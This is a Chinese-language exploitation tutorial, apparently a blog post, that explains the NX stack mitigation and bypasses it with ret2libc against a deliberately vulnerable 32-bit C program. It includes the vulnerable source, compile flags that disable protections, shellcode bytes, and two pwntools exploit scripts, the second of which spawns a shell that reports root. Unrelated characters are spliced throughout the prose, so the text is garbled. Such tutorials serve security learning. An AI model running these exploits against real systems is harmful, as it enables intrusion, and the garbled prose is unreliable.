注: 請(qǐng)結(jié)合這篇文章:經(jīng)典棧溢出-http://www.reibang.com/p/6a1235d99176查看文本
一,NX
溢出攻擊的本質(zhì)在于馮·諾依曼計(jì)算機(jī)模型對(duì)數(shù)據(jù)和代碼沒有明確區(qū)分這一先天性缺陷爬骤。因?yàn)楣粽呖梢詫⒋a放置于數(shù)據(jù)區(qū)段晚凿,轉(zhuǎn)而讓系統(tǒng)去執(zhí)行羽莺。
NX緩解機(jī)制開啟后笛匙,使某些內(nèi)存區(qū)域不可執(zhí)行,并使可執(zhí)行區(qū)域不可寫饥漫。示例:使數(shù)據(jù)跷乐,堆棧和堆段不可執(zhí)行,而代碼段不可寫趾浅。
二愕提,使用之前經(jīng)典的棧溢出利用腳本進(jìn)行測(cè)試(本文頂端鏈接)
1.源碼
文件名:NX.c
#include <stdio.h>
#include <string.h>
void vul(char *msg)
{
char buffer[64];
strcpy(buffer,msg);
return;
}
int main()
{
puts("So plz give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}
可以看到,其是將
main
函數(shù)里的buffer
作為msg
傳入vul
函數(shù)里皿哨,然后拷貝到vul
中的buffer
,但是main
函數(shù)中buffer
大小為256
浅侨,而vul
函數(shù)中buffer
的大小為64
,這就是問題所在。
2.編譯
gcc編譯:gcc -m32 -g -ggdb -fno-stack-protector -no-pie NX.c -o pwnme
-z execstack
參數(shù)加上后會(huì)關(guān)閉NX
3.嘗試運(yùn)行pwnme
正常運(yùn)行证膨!
4.嘗試使用之前的腳本破解
文件名:false_exp.py
from pwn import *
p = process('./pwnme') #運(yùn)行程序
p.recvuntil("shellcode:") #當(dāng)接受到字符串'shellcode:'
#找jmp_esp_addr_offset,見本文第四節(jié)第二點(diǎn)
libc = ELF('/lib32/libc.so.6')
jmp_esp = asm('jmp esp')
jmp_esp_addr_offset = libc.search(jmp_esp).next()
if jmp_esp_addr_offset is None:
print 'Cannot find jmp_esp in libc'
else:
print hex(jmp_esp_addr_offset)
libc_base = 0xf7dd1000 #你找到的libc加載地址
jmp_esp_addr = libc_base + jmp_esp_addr_offset #得到j(luò)mp_esp_addr
print hex(jmp_esp_addr)
#構(gòu)造布局,本文第三節(jié)
buf = 'A'*76 #因?yàn)?4個(gè)字符已經(jīng)將申請(qǐng)的空間填滿如输,接下來就會(huì)產(chǎn)生溢出
buf += p32(jmp_esp_addr)
buf += '\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80'
with open('poc','wb') as f:
f.write(buf)
p.sendline(buf) #發(fā)送構(gòu)造后的buf
p.interactive()
運(yùn)行==========>崩潰
三,崩潰原因
運(yùn)行起pwnme
,并保持運(yùn)行狀態(tài)央勒,新打開一個(gè)終端不见,輸入ps -a
,查看pwnme
的pid
輸入
cat /proc/2472/maps
查看,可以發(fā)現(xiàn)存在棧不可執(zhí)行原因:NX
機(jī)制已開啟崔步,雖然在椢人保空間的布局正常,程序嘗試去執(zhí)行shellcode
,但由于棧地址沒有執(zhí)行權(quán)限井濒,導(dǎo)致奔潰灶似。
四列林,改變布局-ret2libc
ret2libc
即控制函數(shù)執(zhí)行libc
中的函數(shù),通常是返回至某個(gè)函數(shù)的plt
處或者函數(shù)的具體位置(即函數(shù)對(duì)應(yīng)的got表項(xiàng)
的內(nèi)容)酪惭。
一般情況下希痴,我們會(huì)選擇執(zhí)行system("/bin/sh")
,在不存在ASLR(地址隨機(jī)化)
的情況下春感,可以直接通過調(diào)試獲得system
的函數(shù)地址以及“/bin/sh”
的地址 砌创。
布局圖:
布局原理
布局完成后,返回地址return_addr
被覆蓋為libc
文件里的system
函數(shù)地址鲫懒,當(dāng)運(yùn)行到esp
位置時(shí)嫩实,會(huì)跳轉(zhuǎn)到system
中執(zhí)行,同時(shí)刀疙,esp
指向esp+4
,這時(shí)對(duì)system
來說扫倡,它內(nèi)部的ret(返回地址)
執(zhí)行時(shí)esp
指針還是指向esp+4
的谦秧,也就是esp + 4(0xdeadbeef)
就是system
函數(shù)的返回地址,而esp+8
則是它的參數(shù)
注:對(duì)于不想使程序崩潰撵溃,可以將esp+4
的覆蓋為exit
函數(shù)的地址疚鲤,但要只是想得到shell
,就是沒什么所謂缘挑,因?yàn)樵谒罎⑶凹阋呀?jīng)獲得了shell
,所以我在這里只是覆蓋為0xdeadbeef
五语淘,找地址
我們先找到system
與/bin/sh
在libc
文件里的偏移地址诲宇,然后找到libc
文件在程序里的加載地址libc_base
,之后分別相加求取system
與/bin/sh
在程序里的加載位置system_addr
與/bin/sh_addr
1.查看加載的libc文件版本
2.查看libc文件在程序里的加載地址(libc_base)
命令:LD_TRACE_LOADED_OBJECTS=1 ./pwnme
得到
libc_base = 0xf7dd1000
3.查找system與/bin/sh在libc中的地址
ida
打開libc.so.6
①system
在functions window
使用ctrl + f
搜索system
函數(shù),雙擊system
得到
0x0003d7e0
②/bin/sh
ctrl + 1
打開quick view
,選擇strings
打開strings window
或ctrl + f12
ctrl + f
搜索/bin/sh
得到
0x0017c968
4.system與/bin/sh在程序里的地址
ststem_addr = libc_base + 0x0003d7e0
/bin/sh_addr = libc_base+ 0x0017c968
六惶翻,代碼及效果
代碼
文件名:true_exp.py
from pwn import *
p = process('./pwnme') #運(yùn)行程序
p.recvuntil("shellcode:") #當(dāng)接受到字符串'shellcode:'
libc_base = 0xf7dd1000
system_addr = libc_base + 0x0003D7E0
bin_sh_addr = libc_base + 0x0017C968
#布局
buf = 'A'*76 #如何得到填充數(shù)據(jù)大泄美丁:http://www.reibang.com/p/278f8d1f8322
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(bin_sh_addr)
with open('poc','wb') as f :
f.write(buf)
p.sendline(buf) #開始溢出
p.interactive()
效果
運(yùn)行true_exp.py
輸入
whoami
返回root
,溢出成功!B来帧纺荧!Ret2Libc
雖然把數(shù)據(jù)放在了不具備可執(zhí)行權(quán)限的棧上,但成功執(zhí)行了shellcode
颅筋,這是因?yàn)橹皇前演斎霐?shù)據(jù)當(dāng)做純數(shù)據(jù)來間接劫持程序的執(zhí)行流